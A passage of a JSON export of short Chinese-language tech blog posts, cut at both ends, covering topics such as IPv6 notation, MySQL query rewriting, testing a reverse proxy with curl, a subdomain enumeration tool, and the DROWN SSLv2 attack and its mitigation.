    "body": "IPv6 address 表示法的確有不少問題，說「包袱」是因為應該是很難改了。\r\n\r\n在「<a href=\"https://www.zerotier.com/blog/?p=724\">The IPv6 Numeric IP Format is a Serious Usability Problem</a>」這篇文章裡作者討論 IPv6 address 表示法的問題，像是因為用 colon 切割造會跟 url 裡的 port 混淆，於是引入了 bracket 的 workaround：\r\n\r\n<blockquote>An IPv4 URL of the form http://127.0.0.1:1234/ indicates that HTTP should be used to access a service at 127.0.0.1 port 1234. But what does http://dead:beef::1:1234/ mean? To fix the ambiguity, brackets were introduced. Now you have to type http://[dead:beef::1]:1234/.</blockquote>\r\n\r\nAddress <del>Shortening</del> Obfuscation 這邊講的就有點過火了，不過的確是不好讀，一眼看過去不是很容易切開一個 colon 與兩個 colon 的部份。\r\n\r\n作者有提出一些建議方法，不過看起來只是 murmuring... XD",
    "title": "IPv6 表示法的包袱"
  },
  {
    "id": "6357",
    "body": "在「<a href=\"https://www.washingtonpost.com/news/the-switch/wp/2016/02/22/uber-has-a-panic-button-in-india-but-dont-expect-it-to-come-to-the-u-s/\">Uber has a panic button in India. But don’t expect it to come to the U.S.</a>」這邊看到印度的 <a href=\"https://www.uber.com/\">Uber</a> 將會有 Panic Button 給乘客使用，馬上想到這種按鈕 XDDD\r\n\r\n<img src=\"https://i.gslin.com/imgur/wxMoFoE.jpg\" alt=\"\" />\r\n\r\n不過實際讀了文章以及官方的說明「<a href=\"https://newsroom.uber.com/india/safety-v2/\">Uber Upgrades In-App Safety Features in India</a>」後，發現是 app 裡面的緊急通報：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/D16moUJ.webp\" /><img src=\"https://i.gslin.com/imgur/D16moUJ.jpg\" alt=\"\" /></picture>\r\n\r\n這應該是因應先前印度發生好幾起 Uber 司機犯罪事件所做的改變 (參考「<a href=\"http://www.bbc.com/news/world-asia-india-34578477\">India Uber driver guilty of rape</a>」)。",
    "title": "印度的 Uber 將會有「Panic Button」提供給乘客"
  },
  {
    "id": "6358",
    "body": "在「<a href=\"http://money.cnn.com/2016/02/23/news/companies/lithium-ion-battery-ban-airplanes/index.html\">Lithium-ion batteries banned as cargo on passenger planes</a>」這篇文章裡面提到美國打算在今年四月開始禁止托運含有鋰電池的設備：\r\n\r\n<blockquote>Due to the risk of fire, lithium-ion batteries cannot be shipped as cargo on passenger planes.\r\n\r\nThat's according to a new ban enacted by the U.N.'s International Civil Aviation Organization, which takes effect in April.</blockquote>\r\n\r\n如同文章尾提到的兩次貨機載運鋰電池產生的事故，我以為美國早已經全面禁止客機托運了 @_@ (因為台灣與日本早就禁止了？)\r\n\r\n<blockquote>Lithium-ion batteries can still be shipped on cargo aircraft. At least two deadly cargo jet crashes have been blamed on fires caused by these batteries. A Boeing 747 crashed in Dubai killing two crew members in 2010. In 2011, an Asiana Airlines 747 crashed off South Korea, also killing two crew members.</blockquote>\r\n\r\n這邊提到的兩次貨機的空難分別是「<a href=\"https://zh.wikipedia.org/wiki/UPS%E8%88%AA%E7%A9%BA6%E8%99%9F%E7%8F%AD%E6%A9%9F%E7%A9%BA%E9%9B%A3\">UPS航空6號班機空難</a>」(2010 年) 與「<a href=\"https://zh.wikipedia.org/wiki/%E9%9F%93%E4%BA%9E%E8%88%AA%E7%A9%BA991%E8%99%9F%E7%8F%AD%E6%A9%9F%E7%A9%BA%E9%9B%A3\">韓亞航空991號班機空難</a>」(2011 年)，都是沒有人生還。",
    "title": "美國客機要禁止托運鋰電池"
  },
  {
    "id": "6359",
    "body": "美國猶他州的星巴客取得賣酒的執照，將開始提供酒精飲料：「<a href=\"http://money.cnn.com/2016/02/23/news/companies/starbucks-alcohol-liquor-license-utah/index.html\">Starbucks gets approval to sell alcohol in five Utah stores</a>」：\r\n\r\n<blockquote>Starbucks' liquor license was approved on Tuesday by the Utah Department of Alcoholic Beverage Control.</blockquote>\r\n\r\n不過有限制，不能超過 30%：\r\n\r\n<blockquote>As part of the Utah license requirement, 70% of Starbucks' sales must come from something other than alcohol.</blockquote>\r\n\r\n這個有趣 XD",
    "title": "美國猶他州的星巴客將開始賣酒"
  },
  {
    "id": "6360",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到可以在 command line 跟 <a href=\"https://stackoverflow.com/\">Stack Overflow</a> 互動的工具：「<a href=\"https://github.com/santinic/how2\">stackoverflow from the terminal</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/pJDSQEl.gif\" alt=\"\" />\r\n\r\n可以用 <a href=\"https://www.npmjs.com/\">npm</a> 安裝。\r\n\r\n作者引用了 <a href=\"https://xkcd.com/\">xkcd</a> 的笑話來說明為什麼要開發這個程式：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lYS9Uqc.webp\" /><img src=\"https://i.gslin.com/imgur/lYS9Uqc.jpg\" alt=\"\" /></picture>\r\n<small>出自「<a href=\"https://xkcd.com/1168/\">tar</a>」</small>",
    "title": "在 Command Line 跟 Stack Overflow 互動"
  },
  {
    "id": "6361",
    "body": "在「<a href=\"http://mysqlserverteam.com/what-to-do-with-optimizer-hints-after-an-upgrade/\">What to do with optimizer hints after an upgrade?</a>」這邊介紹了 <a href=\"https://dev.mysql.com/doc/relnotes/mysql/5.7/en/\">MySQL 5.7</a> 引入的 <a href=\"https://dev.mysql.com/doc/refman/5.7/en/rewriter-query-rewrite-plugin.html\">Rewrite Query Plugin</a>，看起來有很多可以拿來變化的？\r\n\r\n作者提到的用法是當 minor version 升級後 (譬如 5.6 升到 5.7)，由於 optimizer 愈來愈聰明，hint 應該都要重新確認是否還需要指定 (像是 <code>USING INDEX</code>)，避免效能反而變差。\r\n\r\n但這個前提是你能夠改到程式碼，如果你改不到程式碼就只能祈禱效能不會變差。\r\n\r\n而 MySQL 5.7 提供的 Rewrite Query Plugin 則可以改寫 SQL query，像是 <a href=\"https://www.oracle.com/\">Oracle</a> 官方文件裡給的範例：\r\n\r\n<pre>mysql&gt; SELECT * FROM query_rewrite.rewrite_rules\\G\r\n*************************** 1. row ***************************\r\n                id: 1\r\n           pattern: SELECT ?\r\n  pattern_database: NULL\r\n       replacement: SELECT ? + 1\r\n           enabled: YES\r\n           message: NULL\r\n    pattern_digest: 46b876e64cd5c41009d91c754921f1d4\r\nnormalized_pattern: select ?</pre>\r\n\r\n就會把 <code>SELECT 1</code> 變成 <code>SELECT 1 + 1</code>。實際測試會發現檢查的很嚴格，用 <code>PI()</code> 不會變：\r\n\r\n<pre>mysql&gt; SELECT PI();\r\n+----------+\r\n| PI()     |\r\n+----------+\r\n| 3.141593 |\r\n+----------+\r\n1 row in set (0.01 sec)\r\n\r\nmysql&gt; SELECT 10;\r\n+--------+\r\n| 10 + 1 |\r\n+--------+\r\n|     11 |\r\n+--------+\r\n1 row in set, 1 warning (0.00 sec)</pre>\r\n\r\n目前好像只想的到 hint 可以這樣做，反正還一堆都跑 5.6 (這兩天 <a href=\"https://www.percona.com/\">Percona</a> 才出 5.7 的 GA)，可以邊規劃升級，邊想看看有什麼情境可以用的...",
    "title": "MySQL 5.7 的 Rewrite Query Plugin"
  },
  {
    "id": "6362",
    "body": "看到「<a href=\"https://github.com/lmatteis/peer-tweet\">Decentralized feeds using BitTorrent's DHT. Idea from Arvid and The_8472 \"DHT RSS feeds\" http://libtorrent.org/dht_rss.html</a>」這個東西，基於 <a href=\"http://www.bittorrent.org/\">BitTorrent</a> 的 <a href=\"https://en.wikipedia.org/wiki/Distributed_hash_table\">DHT</a> 所開發出來，完全分散架構的 <a href=\"https://twitter.com/\">Twitter</a>-like 系統。\r\n\r\n目前的 client 界面長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SldE4xc.webp\" /><img src=\"https://i.gslin.com/imgur/SldE4xc.jpg\" alt=\"\" /></picture>\r\n\r\n也可以顯示外部圖片：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lg41wTR.webp\" /><img src=\"https://i.gslin.com/imgur/lg41wTR.jpg\" alt=\"\" /></picture>\r\n\r\n如同作者說的，BitTorrent 的 DHT 的抵抗力很好。的確是因為種種原因，有不少單位常常攻擊他，希望他掛掉或是不穩，而這麼多年下來，由於一開始的設計上就有考慮到這樣的攻擊，實戰也存活得很好：\r\n\r\n<blockquote>BitTorrent's DHT is probably one of the most resilient and censorship-resistant networks on the internet. PeerTweet uses this network to allow users to broadcast tweets to anyone who is listening.</blockquote>\r\n\r\n程式是用 <a href=\"https://nodejs.org/\">Node.js</a> 寫的，不過用到的東西比較多，安裝起來會比較麻煩一點，照著說明。",
    "title": "用 BitTorrent DHT 分散架構的 Twitter"
  },
  {
    "id": "6363",
    "body": "<a href=\"https://www.uber.com/\">Uber</a> 在泰國曼谷推出 <a href=\"http://www.uberthai.com/moto/\">UberMOTO</a>：「<a href=\"http://www.theverge.com/2016/2/24/11104394/uber-motorcycle-service-bangkok-ubermoto\">Uber launches its first motorcycle service</a>」，官方的英文新聞稿：「<a href=\"https://newsroom.uber.com/thailand/ubermoto-en/\">Bangkok, UberMOTO is arriving now!</a>」。\r\n\r\n可以用現金或是信用卡付款：\r\n\r\n<blockquote>At the end of your trip, you can pay with either cash or credit, depending on what you chose before requesting the ride. You’ll also  receive an electronic receipt.</blockquote>\r\n\r\n各種新嘗試 XD",
    "title": "Uber 在泰國曼谷提供 UberMOTO 服務：機車載客"
  },
  {
    "id": "6365",
    "body": "先前 <a href=\"https://www.torproject.org/\">Tor Project</a> 有提到外面報導 <a href=\"https://www.fbi.gov/\">FBI</a> 在 2014 年時僱用 <a href=\"https://www.cmu.edu/\">CMU</a> 的人研究 Tor 的弱點並且加以攻擊：「<a href=\"https://blog.torproject.org/blog/did-fbi-pay-university-attack-tor-users\">Did the FBI Pay a University to Attack Tor Users?</a>」。\r\n\r\n這的確是錯的，因為不是 FBI，而是 <a href=\"http://www.defense.gov/\">DoD</a> (美國國防部) 僱用的 (瞬間噴出茶來)：「<a href=\"http://arstechnica.com/tech-policy/2016/02/judge-confirms-what-many-suspected-feds-hired-cmu-to-break-tor/\">Judge confirms what many suspected: Feds hired CMU to break Tor</a>」。Tor Project 的反應在「<a href=\"https://blog.torproject.org/blog/statement-tor-project-re-courts-february-23-order-us-v-farrell\">Statement from the Tor Project re: the Court's February 23 Order in U.S. v. Farrell</a>」這邊。\r\n\r\n<blockquote>A federal judge in Washington has now confirmed what has been strongly suspected: that Carnegie Mellon University (CMU) researchers at its Software Engineering Institute were hired by the federal government to do research into breaking Tor in 2014.</blockquote>\r\n\r\n所以也不是空穴來風...",
    "title": "聯邦政府僱用 CMU 的人研究攻擊 Tor"
  },
  {
    "id": "6367",
    "body": "<a href=\"https://www.zynga.com/\">Zynga</a> 因為從全盛時期的 3500 人降到現在的 2300 人，決定賣掉在舊金山的辦公室：「<a href=\"http://venturebeat.com/2016/02/23/zynga-puts-its-san-francisco-headquarters-up-for-sale/\">Zynga puts its San Francisco headquarters up for sale</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/lN3Cv5l.jpg\" alt=\"\" />\r\n\r\n而且預定會賺一大筆：\r\n\r\n<blockquote>Zynga acquired the space, which was once the U.S. headquarters of Sega, for $228 million. Now it maybe worth much more, given the boom in San Francisco real estate.</blockquote>\r\n\r\n果然房地產才是王道 (酸) XDDD",
    "title": "Zynga 在舊金山的辦公室出售"
  },
  {
    "id": "6368",
    "body": "芝加哥的高中將 Computer Science 列入畢業要求：「<a href=\"http://www.chicagotribune.com/news/ct-chicago-public-schools-computer-science-graduatoin-requirement-met-20160222-story.html\">Computer science could become graduation requirement for CPS students</a>」。\r\n\r\n看起來沒有標準，有的學校以基本的 HTML 編寫為主：\r\n\r\n<blockquote>Claypool announced the proposed requirement outside a technology classroom at Curie, where he'd earlier spent some time talking to introductory computer science students about the day's lesson on basic HTML coding.</blockquote>",
    "title": "芝加哥的高中將 Computer Science 列入畢業要求"
  },
  {
    "id": "6369",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2016/02/22/6341/ubuntu-%E6%90%9E%E5%AE%9A-zfs-%E6%8E%88%E6%AC%8A%E5%95%8F%E9%A1%8C%EF%BC%8C%E5%B0%87%E7%9B%B4%E6%8E%A5%E7%B4%8D%E5%85%A5%E7%B3%BB%E7%B5%B1%E4%B8%AD%E4%BD%BF%E7%94%A8/\">Ubuntu 搞定 ZFS 授權問題，將直接納入系統中使用</a>」這邊提到了 <a href=\"http://www.canonical.com/\">Canonical</a> 的律師們認為搞定 <a href=\"https://en.wikipedia.org/wiki/ZFS\">ZFS</a> 的授權問題。\r\n\r\n而 <a href=\"https://sfconservancy.org/\">Software Freedom Conservancy</a> 則是提出反對意見：「<a href=\"https://sfconservancy.org/blog/2016/feb/25/zfs-and-linux/\">GPL Violations Related to Combining ZFS and Linux</a>」。\r\n\r\n主要是討論 <a href=\"https://www.gnu.org/licenses/old-licenses/gpl-2.0.html\">GPLv2</a> 與 <a href=\"https://web.archive.org/web/20090304142159/http://www.sun.com/cddl/\">CDDLv1</a> 的感染性相容問題。\r\n\r\n我是覺得 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的說法比較合理，但這種事情沒上法院前誰都不知道... (而且第一仗的結果會特別重要)",
    "title": "Software Freedom Conservancy 對 Ubuntu 認定 ZFS 相容性的反對意見"
  },
  {
    "id": "6370",
    "body": "<a href=\"https://mariadb.org/\">MariaDB</a> 的 <a href=\"https://mariadb.com/products/mariadb-maxscale\">MaxScale</a> 軟體提供 <a href=\"https://dev.mysql.com/\">MySQL</a> 相容的 proxy interface，可以將後端一群 MySQL server 架構隱藏起來，讓應用程式不需要處理這部份。\r\n\r\n而 <a href=\"https://www.percona.com/\">Percona</a> 的人則介紹 MaxScale 作為讀寫分離的工具：「<a href=\"https://www.percona.com/blog/2016/02/25/high-availability-with-asynchronous-replication-and-transparent-rw-split/\">High availability with asynchronous replication… and transparent R/W split</a>」。\r\n\r\n如果你是用有支援讀寫分離的 ORM (像是 <a href=\"https://laravel.com/\">Laravel</a> 中的 <a href=\"https://github.com/illuminate/database\">Illuminate::Database</a>)，由於 ORM library 幫你處理好了，你可以省掉這個工作。\r\n\r\n但在其他的情況，像是應用程式沒有原始程式碼，或是只能設一組 server，你就必須透過像 MaxScale 這種軟體來幫你打散負荷量。\r\n\r\nPercona 給的範例提供了很多設定檔，應該是改一改就可以動 (當然效能調校是另外要花功夫的事情了)，對於有興趣的人應該可以丟人研究？",
    "title": "MariaDB 讀寫分離的工具：MaxScale"
  },
  {
    "id": "6371",
    "body": "現在大家都在流行復古... 關閉十五年的 Gopher 服務重新開起來了：「<a href=\"http://metatalk.metafilter.com/24019/Direct-your-gopher-client-to-gopher-gophermetafiltercom\">Direct your gopher client to gopher://gopher.metafilter.com</a>」。\r\n\r\n現在的瀏覽器好像都拔掉了，懷舊的人可以用 <a href=\"http://lynx.browser.org/\">Lynx</a> 連上去，可以看到長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Fj5Agir.webp\" /><img src=\"https://i.gslin.com/imgur/Fj5Agir.jpg\" alt=\"\" /></picture>\r\n\r\n用上下鍵選，然後左右鍵是上下層...",
    "title": "MetaFilter 的 Gopher 服務 (!!!) 在十五年後復出"
  },
  {
    "id": "6372",
    "body": "在「<a href=\"http://www.reuters.com/article/baidu-vulnerability-idUSKCN0VX0EX\">Thousands of apps running Baidu code collect, leak personal data - research</a>」這篇裡，加拿大的研究團隊 <a href=\"https://citizenlab.org/\">Citizen Lab</a> 發現<a href=\"https://www.baidu.com/\">百度</a>的 Android SDK 使用非加密傳輸這些個資：\r\n\r\n<blockquote>The unencrypted information that has been collected includes a user's location, search terms and website visits, JeffreyKnockel, chief researcher at Citizen Lab, told Reuters ahead of publication of the research on Wednesday.</blockquote>\r\n\r\n百度說他們會修正加密問題，但還是要蒐集：\r\n\r\n<blockquote>[,] and Baidu told Reuters it would be fixing the encryption holes in its kits, but would still collect data for commercial use, some of which it said it shares with third parties.</blockquote>\r\n\r\n霸氣！不愧是百度！即使被抓到後還是要蒐集 XDDD",
    "title": "百度被抓到蒐集個資後還是要蒐集..."
  },
  {
    "id": "6373",
    "body": "印度對軟體專利加以限制：「<a href=\"http://www.business-standard.com/article/economy-policy/no-patent-if-invention-lies-only-in-computer-programme-says-indian-patent-office-116022200875_1.html\">No patent if invention lies only in computer program, says Indian Patent Office</a>」，新的規定規範了如果是程式內所跑出來的創新 (invention)，那麼就不可以被專利化：\r\n\r\n<blockquote>The new guideline says that if the contribution of the invention lies only in computer program, the examiner should deny the patent claim.</blockquote>\r\n\r\n基於程式本身不可專利，那麼完全由程式所產生出來的創新也不應該有專利權：\r\n\r\n<blockquote>\"The computer program in itself is never patentable. If the contribution lies solely in the computer program, deny the claim. If the contribution lies in both the computer program as well as hardware, proceed to other steps of patentability,\" it added.</blockquote>",
    "title": "印度對軟體專利的限制"
  },
  {
    "id": "6374",
    "body": "<a href=\"https://www.google.com/express/\">Google Express</a> 延伸業務到生鮮食品上：「<a href=\"http://blogs.wsj.com/digits/2016/02/17/google-launches-fresh-grocery-deliveries/\">Google Launches Fresh-Grocery Deliveries</a>」，與生鮮業者合作。\r\n\r\n<blockquote>Google said it would begin delivering produce, meat, eggs and other perishable goods on Wednesday in parts of San Francisco and Los Angeles. The service is part of Google Express, which partners with retailers in some U.S. cities to deliver goods to consumers within hours of an order.</blockquote>\r\n\r\n而且是當日配送：\r\n\r\n<blockquote>Alphabet Inc.'s Google is expanding its same-day delivery service to fresh groceries, the latest example of the tech titan’s increasing push into consumers’ daily lives.</blockquote>\r\n\r\n我以為會掛在 <a href=\"https://abc.xyz/\">Alphabet</a> 下做，而不是在 <a href=\"https://www.google.com/\">Google</a> 下做...",
    "title": "Google 在舊金山與洛杉磯開始宅配生鮮食品..."
  },
  {
    "id": "6375",
    "body": "架好 reverse proxy 後要測試可以用 <a href=\"https://curl.haxx.se/\">curl</a> 的 <code>--resolve</code> 的功能來確認。\r\n\r\n<pre>curl -v --resolve i.kfs.io:443:68.232.45.191 <a href=\"https://i.kfs.io/article5/global/364,324,6v1/original.png\">https://i.kfs.io/article5/global/364,324,6v1/original.png</a> &gt; /dev/null</pre>\r\n\r\n其中 <code>--resolve</code> 的第三個參數一定要用 IP address，你可以看到他的運作原理：\r\n\r\n<pre>* Added i.kfs.io:443:68.232.45.191 to DNS cache</pre>",
    "title": "用 curl 測試 Reserve Proxy 是否正確運作"
  },
  {
    "id": "6376",
    "body": "堆了很久的文章...\r\n\r\n用 <a href=\"https://daringfireball.net/projects/markdown/\">Markdown</a> 同時寫 API 測試文件，並且可以實際測試的工具：「<a href=\"https://medium.com/@matryer/introducing-silk-markdown-driven-api-tests-1f8cfb0ef99a\">Introducing Silk: Markdown driven API tests</a>」，專案在「<a href=\"https://github.com/matryer/silk\">Markdown based document-driven RESTful API testing.</a>」這邊可以抓到，用 <a href=\"https://golang.org/\">Go</a> 寫的。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hvpSm8T.webp\" /><img src=\"https://i.gslin.com/imgur/hvpSm8T.jpg\" alt=\"\" /></picture>\r\n\r\nSilk 規範了在 Markdown 裡要測試的文字，然後用這樣測：\r\n\r\n<pre>silk -silkurl=http://127.0.0.1:3000 example-test.md.silk</pre>\r\n\r\n其中 <code>-silkurl=</code> 帶的參數最後面不能有斜線 (slash)。\r\n\r\n這個工具比較像是確保 API 文件與目前的 API 相同，而不是要取代現有的測試架構。畢竟用程式語言的彈性還是高很多，Silk 只是初步的確認。",
    "title": "用 Markdown 寫測試的 Silk"
  },
  {
    "id": "6377",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的下一個資料中心會建在印度：「<a href=\"https://www.digitalocean.com/company/blog/announcing-the-home-of-our-next-datacenter/\">Announcing the Home of our Next Datacenter: Bangalore, India</a>」。\r\n\r\n這幾年可以看到很多投入印度市場的消息，像是 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 在 2013 就增加了印度機房的 PoP，而且是一次增加兩個：「<a href=\"https://blog.gslin.org/archives/2013/07/29/3403/aws-cloudfront-%E8%88%87-route53-%E5%A2%9E%E5%8A%A0%E5%8D%B0%E5%BA%A6%E6%A9%9F%E6%88%BF/\">AWS CloudFront 與 Route53 增加印度機房...</a>」，而去年 2015 年時又喊話要直接開印度區：「<a href=\"https://aws.amazon.com/blogs/aws/in-the-works-aws-region-in-india/\">In the Works – AWS Region in India</a>」。",
    "title": "DigitalOcean 下一個資料中心建在印度"
  },
  {
    "id": "6378",
    "body": "<a href=\"http://www.nytimes.com/\">紐約時報</a>報導 <a href=\"https://www.nshss.org/\">National Society of High School Scholars</a> 問了一萬八千名美國年輕人 (15～29 歲) 理想的職業，也不少出乎意料的結果跑出來：「<a href=\"http://www.nytimes.com/2016/02/28/magazine/the-new-dream-jobs.html\">The New Dream Jobs</a>」。\r\n\r\n常見的網路公司在上面，但讓紐約時報感到意外的，<a href=\"https://www.fbi.gov/\">FBI</a>、<a href=\"https://www.cia.gov/\">CIA</a> 與 <a href=\"https://www.nsa.gov/\">NSA</a> 也在上面：\r\n\r\n<img src=\"https://i.gslin.com/imgur/aqUKHnF.jpg\" alt=\"\" />\r\n\r\n<blockquote>When the National Society of High School Scholars asked 18,000 Americans, ages 15 to 29, to rank their ideal future employers, the results were curious. To nobody’s surprise, Google, Apple and Facebook appeared high on the list, but so did the Central Intelligence Agency, the Federal Bureau of Investigation and the National Security Agency.</blockquote>\r\n\r\n不過應該是不意外？在教育體系被灌輸愛國主義不就很容易就有這樣的結果？",
    "title": "美國年輕人的理想職業"
  },
  {
    "id": "6379",
    "body": "索馬利亞的行動支付愈來愈發達：「<a href=\"http://qz.com/625258/more-phones-few-banks-and-years-of-instability-are-transforming-somalia-to-a-cashless-society/\">More phones, few banks and years of instability are transforming Somalia to a cashless society</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/X9y7TfU.webp\" /><img src=\"https://i.gslin.com/imgur/X9y7TfU.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>Now, it is one of at least three companies offering mobile money transfers in Somalia, where 51 out of every 100 people has a <a href=\"http://databank.worldbank.org/data/reports.aspx?source=2&amp;country=SOM&amp;series=&amp;period=\">mobile subscription</a> (compared to 22, only three years ago), and around 40% of adults use mobile money accounts, according to 2014 data from the World Bank (<a href=\"<a href=\"https://media.worldbank.org/secure/global-findex-2014/Global-Findex-2015-Report.pdf\"></a>\">pdf</a>).</blockquote>\r\n\r\n行動支付的流行，原因包括了缺乏<a href=\"https://zh.wikipedia.org/wiki/零售银行\">零售銀行</a> (也就是服務據點)，加上戰爭因素：\r\n\r\n<blockquote>[,] the lack of retail banking in Somalia and fears of continued unrest—Al-Shabaab continues to occasionally stage attacks throughout the country—have made the service vital to Somalia’s reconstruction. Hormuud holds the cash, acting in essence like a bank.</blockquote>\r\n\r\n時代創造英雄的感覺...",
    "title": "索馬利亞愈來愈發達的行動支付"
  },
  {
    "id": "6380",
    "body": "看到「<a href=\"https://github.com/aboul3la/Sublist3r\">Fast subdomains enumeration tool for penetration testers</a>」這個專案，可以透過多家搜索引擎找 hostname 出來做滲透測試。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rgESeWQ.webp\" /><img src=\"https://i.gslin.com/imgur/rgESeWQ.jpg\" alt=\"\" /></picture>\r\n\r\n支援五個大的搜尋引擎，以及 <a href=\"http://www.netcraft.com/\">Netcraft</a> 與 <a href=\"https://dnsdumpster.com/\">DNSdumpster</a>：\r\n\r\n<blockquote>Sublist3r currently supports the following search engines: Google, Yahoo, Bing, Baidu, and Ask. More search engines may be added in the future. Sublist3r also gathers subdomains using Netcraft and DNSdumpster.</blockquote>\r\n\r\n不過沒有把 <a href=\"https://www.yandex.com/\">Yandex</a> 放進去...",
    "title": "透過搜尋引擎找 Hostname"
  },
  {
    "id": "6381",
    "body": "前幾天 <a href=\"https://www.openssl.org/\">OpenSSL</a> 宣佈將在三月一日更新版本，包括了幾項層級被標示為 High 的問題：「<a href=\"https://mta.openssl.org/pipermail/openssl-announce/2016-February/000063.html\">[openssl-announce] Forthcoming OpenSSL releases</a>」。\r\n\r\n今天看到這個問題了，被稱為「<a href=\"https://drownattack.com/\">The DROWN Attack</a>」，全名為 Decrypting RSA with Obsolete and Weakened eNcryption，整個 internet 上大約 33% 的伺服器受到影響：\r\n\r\n<blockquote>Our measurements indicate 33% of all HTTPS servers are vulnerable to the attack.</blockquote>\r\n\r\n包括兩類，第一類是支援 SSLv2 的伺服器，約 17%：\r\n\r\n<blockquote>It allows SSLv2 connections. This is surprisingly common, due to misconfiguration and inappropriate default settings. Our measurements show that 17% of HTTPS servers still allow SSLv2 connections.</blockquote>\r\n\r\n第二類是指那些，雖然 server 不支援 SSLv2，但與第一類共用同一把 key，於是可以拿來攻擊，約 16%：\r\n\r\n<blockquote>Its private key is used on any other server that allows SSLv2 connections, even for another protocol. Many companies reuse the same certificate and key on their web and email servers, for instance. In this case, if the email server supports SSLv2 and the web server does not, an attacker can take advantage of the email server to break TLS connections to the web server. When taking key reuse into account, an additional 16% of HTTPS servers are vulnerable, putting 33% of HTTPS servers at risk.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Gnbk80X.webp\" /><img src=\"https://i.gslin.com/imgur/Gnbk80X.jpg\" alt=\"\" /></picture>\r\n\r\n要注意的是這不只包括了 HTTPS，也包括了 POP3S 與 IMAPS，以及其他有用 SSLv2 的 server 都有受到影響。尤其是第二類會發生在小型伺服器上，mail server 與 web server 共用同一份 SSL certificate/key 的時候。\r\n\r\n如果手上有使用 SSLv2 的 server，解法是關閉 SSLv2 (目前新的 SSL library 預設應該都是關閉)，撤銷並重新申請 SSL certificate。",
    "title": "最新的 SSL connection 攻擊：DROWN attack"
  },
  {
    "id": "6382",
    "body": "從<a href=\"http://www.nytimes.com/\">紐約時報</a>看到今年的 <a href=\"http://amturing.acm.org/\">Turing Award</a> 由 <a href=\"https://en.wikipedia.org/wiki/Whitfield_Diffie\">Whitfield Diffie</a> 與 <a href=\"https://en.wikipedia.org/wiki/Martin_Hellman\">Martin E. Hellman</a> 獲得：「<a href=\"http://www.nytimes.com/2016/03/02/technology/cryptography-pioneers-to-win-turing-award.html\">Cryptography Pioneers Win Turing Award</a>」。在 Turing Award 官網上也可以看到對應的說明。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange\">Diffie–Hellman key exchange</a> 是全世界第一個 (1976 年) 在公開頻道上建立 shared secret 的演算法，直到現在都還廣泛的被使用，可以防禦被動式的監聽攻擊：\r\n\r\n<blockquote>The Diffie–Hellman key exchange method allows two parties that have no prior knowledge of each other to jointly establish a shared secret key over an insecure channel.</blockquote>\r\n\r\n現在這個演算法用在 PFS (Perfect forward secrecy)，或稱為 FS (<a href=\"https://en.wikipedia.org/wiki/Forward_secrecy\">Forward secrecy</a>)，確保 public key 被破解前的連線記錄不會輕易被破解，於是更確保了資料的安全性：\r\n\r\n<blockquote>a secure communication protocol is said to have forward secrecy if compromise of long-term keys does not compromise past session keys.</blockquote>\r\n\r\n後來這個演算法也被延用到 <a href=\"https://en.wikipedia.org/wiki/Elliptic_curve\">Elliptic curve</a> 上，也就是 <a href=\"https://en.wikipedia.org/wiki/Elliptic_curve_Diffie%E2%80%93Hellman\">ECDH</a>，因為不使用 [latex]Z_{2^p}[/latex] 或 [latex]Z_p[/latex] (field) 而是使用 Elliptic curve (group)，而大幅降低了可被拿來攻擊的特性，而使得 key 的長度可以比 RSA 小很多。\r\n\r\n上一個因密碼學拿到 Turing Award 的是 2012 年得獎的 <a href=\"https://en.wikipedia.org/wiki/Silvio_Micali\">Silvio Micali</a> 與 <a href=\"https://en.wikipedia.org/wiki/Shafi_Goldwasser\">Shafi Goldwasser</a>，他們所音發展出來的用以對密碼系統驗證的數學方法而得獎。\r\n\r\n而更有名的應該是 2002 年 <a href=\"https://en.wikipedia.org/wiki/Ron_Rivest\">Ronald L. Rivest</a>、<a href=\"https://en.wikipedia.org/wiki/Adi_Shamir\">Adi Shamir</a>、<a href=\"https://en.wikipedia.org/wiki/Leonard_Adleman\">Leonard M. Adleman</a> 因為 <a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> 演算法而得獎的事情。\r\n\r\n在愈來愈多新聞揭露安全與隱私問題後 (尤其是政府對人民的監控)，密碼學愈來愈被重視。之前在密碼學領域做出重大貢獻的人也陸陸續續得獎...",
    "title": "2015 年的 Turing Award 由 Whitfield Diffie 與 Martin E. Hellman 獲得"
  },
  {
    "id": "6384",
    "body": "在這次 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 的「<a href=\"http://googlechromereleases.blogspot.com/2016/03/stable-channel-update.html\">Stable Channel Update</a>」裡引入了平滑捲動，在 comment 的地方有人提出解法，可以在 <code>chrome://flags</code> 裡找 <code>disable-smooth-scrolling﻿</code> 關掉後重開 Google Chrome：\r\n\r\n<blockquote>You can disable it here: chrome://flags/#disable-smooth-scrolling﻿</blockquote>\r\n\r\n另外一個 bug 是跑出一堆 extension icon 要重新蔵：\r\n\r\n<blockquote>Hiding extensions needs to be made available again.</blockquote>\r\n\r\n另外這次的安全更新有很多是透過「<a href=\"https://github.com/google/sanitizers\">AddressSanitizer, ThreadSanitizer, MemorySanitizer</a>」與「<a href=\"https://sites.google.com/a/chromium.org/dev/developers/testing/control-flow-integrity\">Control Flow Integrity</a>」這兩個專案所找出來的。",
    "title": "關閉 Google Chrome 49 的平滑捲動"
  },
  {
